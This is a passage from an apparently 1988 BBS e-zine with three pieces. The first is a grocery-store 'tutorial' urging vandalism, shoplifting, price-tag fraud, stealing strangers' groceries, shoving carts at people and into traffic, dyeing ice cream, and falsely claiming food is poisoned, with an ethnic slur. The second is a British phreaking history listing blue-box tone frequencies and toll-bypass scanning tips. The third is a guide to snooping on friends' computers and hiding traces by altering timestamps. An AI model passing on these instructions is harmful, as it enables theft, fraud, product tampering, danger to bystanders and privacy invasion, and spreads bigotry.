well as pissing off people in general. First, though, you should get some
|
||
friends to increase the entertainment value of the whole excursion, as well as
|
||
to provide even more destruction.
|
||
|
||
I've found that you can get away with a lot of things (playing chase
|
||
throughout the aisles, playing soccer or football with various perishables,
|
||
etc.) and no one will say anything. If anyone does say anything, do the kindly
|
||
anarchist thing and tell them to fuck off.
|
||
|
||
Ok. One very fun thing to do is fuck with the shopping carts themselves.
|
||
You can fill up many carts and then strew them all around the store, for ex-
|
||
ample. I'm sure that almost every employee just loves to spend their time
|
||
ridding the store of the bogus carts you created. Or maybe you would rather
|
||
gather ten or so carts and then make barriers in aisles when no one is looking.
|
||
Wouldn't you like to hear "Um...Frank..someone seems to have made a collection
|
||
of carts in aisle four, so could you clean it up please, thank you..." announc-
|
||
ed over the loudspeaker system of your nearest Giant or Safeway? Or you can
|
||
have your very own shopping cart drag races in the frozen food section. Per-
|
||
haps you're one of the more destructive types. If you are, then "bumper carts"
|
||
is just for you. Just smash the carts into one another and relive those magic
|
||
childhood moments at the carnival. One VERY funny stunt that produces great
|
||
results is fucking with other people's carts. Just go around throwing things
|
||
into carts when the owner is not looking. "Wait a minute..where the hell did
|
||
this damn watermelon come from?! I hate watermelons." Doing that can great-
|
||
ly confuse a person, so go ahead, make someone think they're goin' crazy!
|
||
|
||
Another fun thing to do at a grocery store is, of course, playing with the
|
||
food. See how many times you and a friend can throw toilet paper over aisle
|
||
eight without hitting anyone. You can always go for 'distance' by throwing
|
||
fruits or vegetables over as many aisles as possible. Or perhaps you would
|
||
rather test your bowling skills. Just stack up anything handy (paper towels,
|
||
cans, plastic soda bottles, etc.) and roll any sphere like object at it (mel-
|
||
ons, or perhaps a can of Kool Aid?) You could always play a quick game of
|
||
basketball. Just set up an empty cart and find something that bounces (or
|
||
doesn't), then go for those three point shots. In fact, almost every major
|
||
sport (except water polo, but that's not a major sport, now is it?) can be
|
||
played with ease at your closest supermarket or grocery store.
|
||
|
||
Pissing off the employees is also entertaining. I'm sure you can think of
|
||
many ways to do this, but try the following. Trying to buy alcohol if you're
|
||
under age (insist that you aren't!), shouting obscenities, eating 'bulk' food
|
||
right out of the container, dropping (accidentally of course!) a few glass bot-
|
||
tles, going down to where the employees eat and just sit at the table, and also
|
||
try to buy nine packs of gum in the '8 items or less' lane. You could also try
|
||
loitering, just sit at the magazine rack and catch up on your reading. Another
|
||
fun thing to do is to keep bugging an employee hard at work. I'm sure an em-
|
||
--Page 14--
|
||
ployee would appreciate it if you dragged him from his task just so you could
|
||
buy one red hot from the bulk food section.
|
||
|
||
Yet another entertaining thing to do is cause the store to lose customers.
|
||
The easiest way to do this is to just buy something so you and a friend can get
|
||
in line. Then look at what the person ahead of you is getting and tell you
|
||
friend that "whatever the next person has" was laced with poison or something
|
||
to that effect.
|
||
|
||
Oh, here's yet another entertaining thing to do. Go outside the store and
|
||
look for carts that are full and just sitting there with no on by them (the
|
||
owner has gone to get his/her car). When you have found such a cart, take some
|
||
bags or better yet, take the whole cart. Now you have a weeks worth of free
|
||
groceries. So get some friends together and have a party (what else would you
|
||
do with six bags of food?) If the owner suddenly appears while you are "buy-
|
||
ing" your groceries, just push the cart as hard as you can at him/her and take
|
||
off. If you are lucky enough two find two of these carts, then you can have
|
||
some real fun. Just start taking things out of one cart and chuck it in the
|
||
other, better yet, just exchange bags! Then sit back and watch the confusion.
|
||
Although the people probably won't notice the difference until they get home
|
||
and unpack. Don't you wish you could see their reaction?! Oh, you could also
|
||
just take someones cart and move it down a bit...that way you could see their
|
||
reaction and that would of course increase your enjoyment.
|
||
|
||
A vast amount of fun can be had in the frozen food section. Just take
|
||
some frozen products or ice cream and put them in one of those deserted aisles
|
||
so they can thaw out. After that, cruise over to where ever the food coloring
|
||
is kept and snag some. Then go back to frozen foods and find some nice ice
|
||
cream. Now just open up ice cream containers and put about thirty drops of red
|
||
(or whatever color) food coloring in 'em. Wouldn't YOU be surprised if you
|
||
opened up a half gallon of vanilla ice cream at home and found red designs all
|
||
over the place??
|
||
|
||
Do you want to get people in trouble? Then you can have lots of fun
|
||
screwing with the prices of things. You can take some steaks and throw 'em
|
||
into the "reduced food section". Most people are stupid and would jump at the
|
||
chance to get a turkey for a few bucks. Or, you could just take a large marker
|
||
into the store with you and write "5 cents" on everything you see. Write it on
|
||
donut boxes, cereal boxes, soda bottles, or anything you see.
|
||
|
||
My last topic is everyone's favorite, taking what is not rightfully yours
|
||
(shoplifting, dumbass) It's surprisingly simple to lift things from grocery
|
||
stores. I'm not going to give you a shoplifting tutorial here though, if you
|
||
need to read a phile to learn how to lift, you're an idiot. Also, you can eat
|
||
things right in the store if you want. Just take your snack to a deserted
|
||
aisle and then satisfy your stomach. Of course, the only thing you could steal
|
||
from Giant is food (or those cheap plastic toys often found in grocery stores,
|
||
but why would you want those?), and since a box of cereal is a bit to obvious
|
||
under one's shirt, I suggest candy. But go ahead and take what you want, I
|
||
couldn't give a shit.
|
||
|
||
Well, I was wrong, I have one more thing I want to tell you about (gee I'm
|
||
tricky...) Ok, have you ever seen those swinging double-doors in the back near
|
||
the meat?? These doors can lead you to loads of fun. Back there they store
|
||
all their excess until they have room for it. So you can go back there and
|
||
fuck around like crazy (if anyone asks you what the hell you're doing back
|
||
there, just say you're going to the bathroom, the bathrooms are ALWAYS back
|
||
there somewhere), doing whatever the hell you want. Try rearranging anything
|
||
you may find back there. Go ahead, screw up their inventory!
|
||
|
||
Hi....welp, these are the new parts for all you keeping score...
|
||
|
||
Ok, I've mentioned some of the fun you can have with the shopping carts
|
||
--Page 15--
|
||
themselves. Now, another thing you can do with them is just throw them all
|
||
over the place. Get a few empty ones and take 'em out to the parking lot.
|
||
Here you can "automate" the carts by seeing how far they'll go on their own.
|
||
Give 'em a big push and they're off! Try to push them into car's paths, I'm
|
||
sure the driver will appreciate it. I'm REAL sorry about that Ms. Jones, I had
|
||
no idea you'd swerve like that and end up with a boy and his bike as your new
|
||
hood ornament. Also, you can make a nice big accident by hurling a bunch of
|
||
them all together. Wham!! Awwww...too bad...looks like a few of the things
|
||
have been mangled to hell. Oh, all these carts would also make a mighty fine
|
||
roadblock, wouldn't you say?? After completely smashing them, you might want
|
||
to return them to the store...just so they know that new ones will have to be
|
||
bought.
|
||
|
||
Just to see what the employees say, bring along a box with a melodious
|
||
tune of Suicidal Tendencies being cranked out. I doubt that many people
|
||
would approve of this (which is why you're doing it). Anyway, when someone
|
||
tries to talk to you, don't say a damn thing. Pretend your foreign, deaf,
|
||
whatever, just don't speak. This will get people even more pissed off. At
|
||
this point they'll probably call security (woaaahhhhh....those Rent-A-Cops are
|
||
SCARY!!) or something and try to force you out. Let 'em, don't try to resist
|
||
at all. When you get outside just point at them and start laughing like crazy.
|
||
Here you can enter a convulsive fit or whatever works for you.
|
||
|
||
I've mentioned stealing things...well, if you don't have the guts for
|
||
actually lifting things, there is an alternative. Simply exchange price tags,
|
||
this way it's not really lifting, just a damn good bargain. If you're going to
|
||
do this, try to get in some dumbfuck foreigners lane (Note: With all the damn
|
||
Arabs and whatnot at 7-Eleven, this can always be done there). If the cashier
|
||
doubts the price, just play it off. Oh, here's another idea that deal with
|
||
price tags. Try to steal one of those "tag guns" that the employees use to
|
||
price items. This way you can make people get items they usually wouldn't
|
||
(because of your low, LOW price). When the person goes to checkout and the
|
||
item(s) goes through the little scanner thing, hahaha! It's damn funny to see
|
||
the people arguing over the price...and it holds up the line as well.
|
||
|
||
Ok, for this next little topic, you'll need some kinda foreign currency
|
||
(like that real great one, the peso...). Oh, you can pick up some pesos or
|
||
another kind of currency at a bank that specializes in exchanging currencies.
|
||
When you have your foreign dough, go to the supermarket and pick out a few
|
||
items (doesn't matter what they are). Then proceed to checkout and when given
|
||
the total, just give the pesos or whatever to the cashier. When the idiot
|
||
tells you that you can't use that. Start screaming in another language (or if
|
||
you're to lame to know one, make one up) and have a fit. Make it clear
|
||
(non-verbally of course) that you want to pay with your pesos. Take it as far
|
||
is it will go, and then throw the money at the dumb bitch and leave.
|
||
|
||
Well, I hope you have all learned something from this tutorial on how to
|
||
fuck with your grocery store. Oh, and I >>>AM<<< responsible for whatever ac-
|
||
tions you may take as a result of reading this phile. When you get in trouble,
|
||
just go ahead and say 007 told you to do it. "Well you see Mr. Rent-A-Cop,
|
||
there was this phile on a BBS around NY that told me to do it!"...maybe it'll
|
||
even get written up in NewsWeek by our hero the journalist, Mr. Sandza!
|
||
|
||
|
||
:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:
|
||
: The previous phile has been brought to you by.... :
|
||
:_____________ _____________:
|
||
: ...10/31/87| Purgatory Productions |...10/31/87 :
|
||
:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:
|
||
|
||
|
||
|
||
|
||
--Page 16--
|
||
File: A HISTORY OF BRITISH PHREAKING
|
||
|
||
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
|
||
$ $
|
||
$ The History Of British Phreaking $
|
||
$ -=- -=-=-=- -- -=-=-=- -=-=-=-=- $
|
||
$ $
|
||
$ The second in a series of $
|
||
$ THE HISTORY OF.....philes $
|
||
$ $
|
||
$ Written and Uploaded by: $
|
||
$ $
|
||
$$$$$$$$$$$$-=>Lex Luthor<=-$$$$$$$$$$$
|
||
$ and $
|
||
$ The Legion Of Doom! $
|
||
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
|
||
With thanks to Peter McIvers for the list of frequencies mentioned later in
|
||
this phile.
|
||
|
||
|
||
In Britain, phreaking goes back to the early fifties, when the technique of
|
||
'Toll A drop back' was discovered. Toll A was an exchange near St. Pauls which
|
||
routed calls between London and nearby non-London exchanges. The trick was to
|
||
dial an unallocated number, and then depress the reciever-rest for 1/2 second.
|
||
This flashing initiated the 'clear forward' signal, leaving the caller with an
|
||
open line into the Toll A exchange. He could then dial 018, which forwarded
|
||
him to the trunk exchange- at that time, the first long distance exchange in
|
||
Britain- and foll ow it with the code for the distant exchange to which he
|
||
would be connected at no extra charge.
|
||
|
||
The signals needed to control the UK network today were published in the
|
||
"Institution of Post Office Engineers Journal" and reprinted in the Sunday
|
||
Times (15 Oct. 1972).
|
||
|
||
The signalling system they use: signalling system No. 3 uses pairs of
|
||
frequencies selected from 6 tones separated by 120Hz. With that info, the
|
||
phreaks made "Bleepers" or as they are called here in the U.S. "Blue Box", but
|
||
they do utilize different MF tones then the U.S., thus, your U.S. blue box that
|
||
you smuggled into the UK will not work, unless you change the frequencies.
|
||
|
||
In the early seventies, a simpler system based on different numbers of
|
||
pulses with the same frequency (2280Hz) was used. For more info on that, try to
|
||
get hold of: Atkinson's "Telephony and Systems Technology".
|
||
|
||
The following are timing and the frequencies for boxing in the UK and other
|
||
foreign countries. Special thanks to Peter McIvers for the phollowing inpho:
|
||
|
||
British "bleeper" boxes have the very same layout as U.S. blue boxes. The
|
||
frequencies are different, though. They use two sets of frequencies, forward
|
||
and backward. Forward signals are sent out by the bleeper box; the backward
|
||
signals may be ignored (it's sort of like using full duplex). The frequencies
|
||
are as follows:
|
||
|
||
|
||
US: 700 900 1100 1300 1500 1700
|
||
Forward: 1380 1500 1620 1740 1860 1980 Hz
|
||
Backward: 1140 1020 900 780 660 540 Hz
|
||
|
||
for example, change the 900 Hz potentiometers in your box to 1500 Hz. All
|
||
numbers 1-0 (10) are in the same order as in an American box. The ones after
|
||
this are thier codes for operator 11, operator 12, spare 13, spare 14, and 15.
|
||
One of these is KP, one (probably 15) is Star; it won't be too hard to figure
|
||
out. The signals should carry -11.5dBm +/- 1dB onto the line; the frequencies
|
||
--Page 17--
|
||
should be within +/- 4Hz (as is the British equipment). Also, the 1VF system is
|
||
still in operation in parts of the U.K. This would encode all signals 1 to 16 as
|
||
inary numbers; for instance, a five is 0101. There are six intervals per
|
||
digit, each 50ms long r a total of 300ms. First is a start pulse of 2280 for
|
||
50ms. Then, using the example of five (0101), there is a 50ms pause, a 50ms
|
||
pulse of 2280, a 50ms pause, and a 50ms pulse of 2280. Finally, there is a
|
||
50ms pause that signals the end of the digit. The frequency tolerance on the
|
||
2280 Hz is +/- 0.3%; it is sent at -6 +/- 1dBm. An idle line is signaled by
|
||
the presence of a 3825Hz tone for more than 650ms. This must be within 4Hz.
|
||
|
||
France uses the same box codes as the US, with an additional 1900Hz
|
||
acknowledgement signal, at -8.7 +/- 1dBm per frequency.
|
||
|
||
Spain uses a 2 out of 5 mf code (same frequencies as US), with a 1700 Hz
|
||
acknowledge signal.
|
||
|
||
Other places using the 1VF system are:
|
||
Australia, 2280Hz +/-6Hz, 35ms/digit at -6dB.
|
||
Germany, France: same as Australia; also, some 1VF systems in the UK.
|
||
Switzerland: same as Australia, only it uses 3000Hz, not 2280.
|
||
Sweeden: same as above, but at 2400Hz.
|
||
Spain: some parts use 1VF with 2500Hz.
|
||
|
||
There is one other major system: the 2VF system. In this system, each digit is
|
||
35ms long. The number is encoded in binary as with the 1VF system. Using the
|
||
example of five (0101), here's how the American 2VF system was sent:
|
||
2400 pulse, pause, 2040 pulse, pause, 2400 pulse, pause, 2040 pulse, pause. The
|
||
digits and pauses are all 35ms long, for a total of 280ms per digit. Other
|
||
countries are still using a similar high/low pair with the same timings. Some
|
||
parts of Italy use the 1VF system with 2040Hz; some use the 2VF system with
|
||
2040 and 2400 (same as original US) Hz. The Netherlands uses a 2VF system with
|
||
2400 and 2500 Hz pulses. With the 2VF system, all frequencies should be within
|
||
2Hz.
|
||
|
||
Also, here are some specs for American phone equipment:
|
||
Dial Tone: 350+440Hz, -17.5 to -14.5 dBm/tone.
|
||
Off-Hook (ROH): 1400+2060+2450+2600(!) on/off 5 times per second
|
||
Busy: 480+620Hz; solow busy: 0.5 +/- 0.05 sec = 1 period
|
||
(about twice a second), at -28.5 to -22.5 dBm/tone.
|
||
|
||
Ring: 440+480 Hz at -23.5 to -20.5 dBm/tone.
|
||
A ring is modulated at 20 +/- 3Hz, 2sec on, 4sec off.
|
||
|
||
Call waiting: 440Hz, on 1 second.
|
||
|
||
Recorder Connection: 1400Hz, beeps every 15minutes.
|
||
Multiparty line ring: sam% frequency and modulation as ring, but 1sec on, 2sec
|
||
off (twice as fast).
|
||
|
||
Now, back to British Phreaking:In the early days of British phreaking, the
|
||
Cambridge University Titan Computer was used to record and circulate numbers
|
||
found by the exhaustive dialing of local networks. These numbers were used to
|
||
create a chain of links from local exchange to local exchange across the
|
||
country, bypassing the trunk circuits. Because the internal routing codes in
|
||
the UK network are not the same as those dialed by the caller, the phreaks had
|
||
to discover them by 'probe and listen' techniques or more commonly known in the
|
||
U.S.--SCANNING. What they did was put in likely signals and listened to find
|
||
out if they succeeded. The results of scanning were circulated to other
|
||
phreaks. Discovering each other took time at first, but evenutally the phreaks
|
||
became organized. The "TAP" of Britain was called "Undercurrents" which enabled
|
||
British phreaks to share the info on new numbers, equipment etc.
|
||
|
||
To understand what the British british phreaks did, think of the phone
|
||
--Page 18--
|
||
network in three layers of lines: Local, trunk, and international. In the UK,
|
||
Subcriber Trunk Dialing (STD), is the mechanism which takes a call from the
|
||
local lines and (legitimately) elevates it to a trunk or international
|
||
level. The UK phreaks figured that a call at trunk level can be routed through
|
||
any number of exchanges, provided that the right routing codes were found and
|
||
used correctly. They also had to discover how to get from local to trunk level
|
||
either without being charged (which they did with a bleeper box) or without
|
||
using STD. Chaining has already been mentioned but it requires long strings
|
||
of digits and speech gets more and more faint as the chain grows, just like
|
||
it does when you stack trunks back and forth accross the U.S. The way the
|
||
security reps snagged the phreaks was to put a simple 'printermeter' or as we
|
||
call it: a pen register on the suspects line, which shows every digit dialed
|
||
from the subscribers line.
|
||
|
||
The British prefer to get onto the trunks rather than chaining. One way was
|
||
to discover where local calls use the trunks between neighboring exchanges,
|
||
start a call and stay on the trunk instead of returning to the local level on
|
||
reaching the distant switch. This again required exhaustive dialing and made
|
||
more work for Titan; it also revealed 'fiddles', which were inserted by Post
|
||
Office Engineers. What fiddling means is that the engineers rewired the
|
||
exchanges for thier own benefit. The equipment is modified to give access to a
|
||
trunk with out being charged, an operation which is pretty easy in Step by Step
|
||
(SXS) electromechanical exchanges, which were installed in Britain even in the 1
|
||
0s (NOTE: I know of a back door into the Canadian system on a 4A CO., so if
|
||
you are on SXS or a 4A, try scanning 3 digit exchanges, ie: dial 999,998,997
|
||
etc. and listen for the beep-kerchink, if there are no 3 digit codes which
|
||
allow direct access to a tandem in your local exchange and bypasses the AMA so
|
||
you won't be billed, not have to blast 2600 every time you wish to box a call.
|
||
|
||
A famous British 'fiddler' revealed in the early 1970s worked by dialing 173.
|
||
The caller then added the trunk code of 1 and the subscribers local number. At
|
||
that time, most engineering test services began with 17X, so the engineers
|
||
could hide thier fiddles in the nest of service wires. When security reps
|
||
started searching, the fiddles were concealed by tones signalling: 'number
|
||
unobtainalbe' or 'equipment engaged' which switched off after a delay. The
|
||
necessary relays are small and easily hidden.
|
||
|
||
There was another side to phreaking In the UK in the sixties. Before STD was
|
||
widespread, many 'ordinary' people were driven to occasional phreaking from
|
||
sheer frustration at the inefficient operator controlled trunk system.
|
||
This came to a head during a strike about 1961 when operators could not be
|
||
reached. Nothing complicated was needed. Many operators had been in the habit
|
||
of repeating the codes as they dialled the requested numbers so people soon
|
||
learnt the numbers they called frequently. The only 'trick' was to know which
|
||
exchanges could be dialled through to pass on the trunk number. Callers also
|
||
needed a pretty quiet place to do it, since timing relative to clicks was import
|
||
ant.
|
||
|
||
The most famous trial of British phreaks was called the Old Baily trial. Which
|
||
started on 3 Oct. 1973. What they phreaks did was to dial a spare number at a
|
||
local call rate but involving a trunk to another exchange Then they send a
|
||
'clear forward' to thier local exchange, indicating to it that the call is
|
||
finished;but the distant exchange doesn't realize because the caller's phone is
|
||
still Off the hook. They now have an open line into the distant trunk exchange
|
||
and sends to it a 'seize' signal: '1' which puts him onto its outgoing lines.
|
||
Now, if they know the codes, the world is open to them. All other exchanges
|
||
trust his local exchange to handle the billing; they just interpret the tones
|
||
they hear. Mean while, the local exchange collects only for a local call. The
|
||
investigators discovered the phreaks holding a conference somewhere in England
|
||
surrounded by various phone equipment and bleeper boxes, also printouts listing
|
||
'secret' Post Office codes. (They probably got them from trashing?) The judge
|
||
said: "some take to heroin, some take to telephones" for them phone phreaking
|
||
was not a crime but a hobby to be shared with phellow enthusists and discussed
|
||
--Page 19--
|
||
with the Post Office openly over dinner and by mail. Their approach and
|
||
attitude to the worlds larges computer, the global telephone system, was that
|
||
of scientist s conducting experiments or programmers and engineers testing
|
||
programs and systems. The judge apeared to agree, and even asked them for
|
||
phreaking codes to use from his local exchange!!!
|
||
|
||
$-The End-$
|
||
|
||
|
||
$-=>Lex Luthor<=-$
|
||
|
||
Remote sysop of Plover-net 516-935-2481 and Sysop of: The Legion Of Doom!
|
||
305-COE-XXXX
|
||
If your good, you'll find out the #.
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
--Page 20--
|
||
ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸
|
||
( )
|
||
) Abstruse Authors of Merca (
|
||
( )
|
||
ÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
|
||
|
||
Presents
|
||
|
||
Data Snooping : the Right Way
|
||
-----------------------------
|
||
|
||
|
||
by
|
||
Lee Day
|
||
|
||
|
||
Data snooping is a popular passtime among personal computer users in North
|
||
Merca. A data snooper may be defined as one who examines friends' personal,
|
||
private data while they are not looking. Most users could probably be labeled
|
||
data snoopers at one time or another. The problem is, many friends are made
|
||
aware of data snooping activities on their system, either by catching the
|
||
snooper in the act, or by finding traces of an invasion. Therefore, some
|
||
public education is necessary to ensure the continuation of this enriching
|
||
activity.
|
||
|
||
During a "local" snoop, one must be on the alert for the return of the data's
|
||
owner. If the snooper hears the return of the owner, he should act quickly to
|
||
appear innocent. Here are several methods :
|
||
|
||
1) Set up a multi-tasker, and switch to an innocent partition. Caution : The
|
||
owner may notice a lack of memory, or may switch to the incriminating
|
||
partition.
|
||
|
||
2) Call a memory-resident pop-up screen. Programs such as BOSS-SW.COM zip a
|
||
bogus spreadsheet on the screen. Problem : you may have a hard time
|
||
explaining your activity, particularly if you are using the owner's computer
|
||
and he does not have a spreadsheet program.
|
||
|
||
3) Turn the screen off. Not very effective if the owner turns the screen on
|
||
again.
|
||
|
||
4) Reboot. This may be accomplished by "accidentally" tripping the power
|
||
switch, or making an excuse for rebooting, such as a need for "fresh RAM".
|
||
|
||
If the owner has keen eyes, he may thwart a snooper with a time/date stamp.
|
||
Some programs automatically create or update files during execution without the
|
||
user's permission. The snooper's best bet is to avoid these programs, or
|
||
write-protect the disk. A hard disk may even be write-protected with the use
|
||
of a trojan horse detector called "BOMBSQAD", which prompts the user for
|
||
instructions every time a disk-writing attempt is made.
|
||
|
||
If a time-date stamp is actually updated, and looks suspicious, the snooper may
|
||
change it using Norton's utilities, or a special date-changing utility. He may
|
||
also delete any newly created files. Of course, a data snooper should NEVER
|
||
modify the owner's files. This would be the equivalent of cutting the balls
|
||
off the gander that laid the goose that laid the golden egg. Surely the
|
||
snooper would gain much more from repeated instances of data snooping than a
|
||
few moments of revenge or tease. Remember : Data snooping can be an
|
||
enriching, exciting activity, if approached with an attitude of maturity.
|
||
|
||
ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·
|
||
) Written by Lee Day for Abstruse Authors of Merca (
|
||
ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ
|
||
--Page 21--
|
||
================================================================================
|
||
|
||
As another issue of 2280 Magazine draws to an end, we must thank you
|
||
for your interest in this Magazine, and please feel free to distribute
|
||
it if you feel it would be appropriate.
|
||
|
||
If you havn't called the 2280 Magazine Home Board yet, Why not ?
|
||
Heres the info all over again ....
|
||
|
||
The Arena BBS Information Service Uk
|
||
V21,22,23,22bis
|
||
[062]/539-063
|
||
Always Open
|
||
|
||
Drop us a line if you feel you have anything to contribute to the mag
|
||
or to the BB, and any critics, etc. Welcomed.
|
||
|
||
Cheers...
|
||
|
||
The Master
|
||
|
||
================================================================================
|
||
2280 Magazine is distributed by DEVIATED INSTINCT distributors Ltd. The
|
||
content of this magazine is copyrighted (as a whole body) (C)1988 by DEVIATED
|
||
INSTINCT. You may distribute this magazine yourself if you wish to, due to a
|
||
Shareware type marketing scheme.
|
||
================================================================================
|
||
|
||
H A V E P H U N ! !
|
||
---------------------
|
||
|
||
|